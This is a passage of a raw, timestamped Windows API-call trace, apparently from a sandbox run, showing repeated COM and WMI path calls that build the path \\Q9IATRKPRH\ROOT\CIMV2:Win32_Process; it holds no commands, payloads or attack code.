ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.668] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x2 [0131.668] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x1 [0131.668] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.668] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf5e0) returned 0x0 [0131.668] WbemDefPath:IUnknown:AddRef (This=0x1bbbf5e0) returned 0x3 [0131.668] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x2 [0131.668] WbemDefPath:IWbemPath:SetText (This=0x1bbbf5e0, uMode=0x4, pszPath="") returned 0x0 [0131.668] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.668] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.669] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.669] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.671] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8180) returned 0x0 [0131.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8180, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.671] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8180, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf6a0) returned 0x0 [0131.671] WbemDefPath:IUnknown:Release (This=0x1bbd8180) returned 0x0 [0131.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf6a0) returned 0x0 [0131.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.671] WbemDefPath:IUnknown:AddRef (This=0x1bbbf6a0) returned 0x3 [0131.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8200) returned 0x0 [0131.672] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8200, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.672] WbemDefPath:IUnknown:Release (This=0x1bbd8200) returned 0x3 [0131.672] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.672] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.672] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x2 [0131.672] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x1 [0131.672] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.672] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf6a0) returned 0x0 [0131.672] WbemDefPath:IUnknown:AddRef (This=0x1bbbf6a0) returned 0x3 [0131.672] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x2 [0131.672] WbemDefPath:IWbemPath:SetText (This=0x1bbbf6a0, uMode=0x4, pszPath="") returned 0x0 [0131.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf5e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.672] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbf6a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0131.672] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf6a0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0131.672] WbemDefPath:IWbemPath:SetServer (This=0x1bbbf6a0, Name="Q9IATRKPRH") returned 0x0 [0131.673] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.673] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.673] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.673] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.674] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8220) returned 0x0 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8220, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.675] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8220, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf760) returned 0x0 [0131.675] WbemDefPath:IUnknown:Release (This=0x1bbd8220) returned 0x0 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf760) returned 0x0 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.675] WbemDefPath:IUnknown:AddRef (This=0x1bbbf760) returned 0x3 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8260) returned 0x0 [0131.675] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.675] WbemDefPath:IUnknown:Release (This=0x1bbd8260) returned 0x3 [0131.675] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.676] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.676] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x2 [0131.676] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x1 [0131.676] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.676] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf760) returned 0x0 [0131.676] WbemDefPath:IUnknown:AddRef (This=0x1bbbf760) returned 0x3 [0131.676] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x2 [0131.676] WbemDefPath:IWbemPath:SetText (This=0x1bbbf760, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf760, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0131.676] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbf6a0) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf760, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf760, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf760, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0131.676] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf6a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf760, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf760, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0131.676] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf6a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0131.676] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbf6a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0131.676] WbemDefPath:IWbemPath:SetClassName (This=0x1bbbf6a0, Name="Win32_Process") returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf6a0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf6a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0131.677] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0131.677] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0131.677] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0131.677] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0131.677] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.679] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbd84c0) returned 0x0 [0131.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd84c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0131.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd84c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbbf820) returned 0x0 [0131.679] WbemDefPath:IUnknown:Release (This=0x1bbd84c0) returned 0x0 [0131.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbbf820) returned 0x0 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0131.680] WbemDefPath:IUnknown:AddRef (This=0x1bbbf820) returned 0x3 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbd8500) returned 0x0 [0131.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.680] WbemDefPath:IUnknown:Release (This=0x1bbd8500) returned 0x3 [0131.680] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0131.680] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0131.680] WbemDefPath:IUnknown:Release (This=0x1bbbf820) returned 0x2 [0131.680] WbemDefPath:IUnknown:Release (This=0x1bbbf820) returned 0x1 [0131.680] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0131.680] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0131.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf820, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbbf820) returned 0x0 [0131.681] WbemDefPath:IUnknown:AddRef (This=0x1bbbf820) returned 0x3 [0131.681] WbemDefPath:IUnknown:Release (This=0x1bbbf820) returned 0x2 [0131.681] WbemDefPath:IWbemPath:SetText (This=0x1bbbf820, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0131.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.681] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0131.681] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.681] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: 